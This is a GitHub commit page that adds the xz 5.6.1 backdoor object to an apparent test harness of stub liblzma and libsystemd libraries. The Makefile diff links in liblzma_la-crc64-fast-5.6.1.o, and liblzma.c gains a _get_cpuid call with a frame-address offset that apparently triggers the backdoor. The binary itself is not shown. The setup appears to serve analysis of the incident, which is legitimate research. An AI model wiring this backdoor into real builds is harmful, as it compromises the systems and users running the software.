Skip to content

Commit

Permalink
Add the infamous xz backdoor
Browse files Browse the repository at this point in the history
The object file is the one in version 5.6.1:

https://seclists.org/oss-sec/2024/q1/301
  • Loading branch information
felipec committed Apr 12, 2024
1 parent 0a38490 commit f8c8e5a
Show file tree
Hide file tree
Showing 3 changed files with 4 additions and 2 deletions.
4 changes: 2 additions & 2 deletions Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -5,8 +5,8 @@ LDFLAGS := -Wl,--no-undefined

all: liblzma.so libsystemd.so

liblzma.so: override LDFLAGS += -Wl,-soname -Wl,liblzma.so.5 -Wl,--version-script=liblzma.map
liblzma.so: liblzma.o
liblzma.so: override LDFLAGS += -Wl,-soname -Wl,liblzma.so.5 -Wl,--version-script=liblzma.map -Wl,--sort-section=name,-X,-z,now
liblzma.so: liblzma.o liblzma_la-crc64-fast-5.6.1.o

libsystemd.so: override LDFLAGS += -Wl,-soname -Wl,libsystemd.so.0 -Wl,--version-script=libsystemd.map
libsystemd.so: override LDLIBS += -llzma -lgcrypt
Expand Down
2 changes: 2 additions & 0 deletions liblzma.c
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,8 @@ extern int _get_cpuid(int, void *, void *, void *, void *, void *);

static void *resolve(void)
{
uint32_t r[4];
_get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char *) __builtin_frame_address(0)) - 0x10);
return NULL;
}

Expand Down
Binary file added liblzma_la-crc64-fast-5.6.1.o
Binary file not shown.

0 comments on commit f8c8e5a

Please sign in to comment.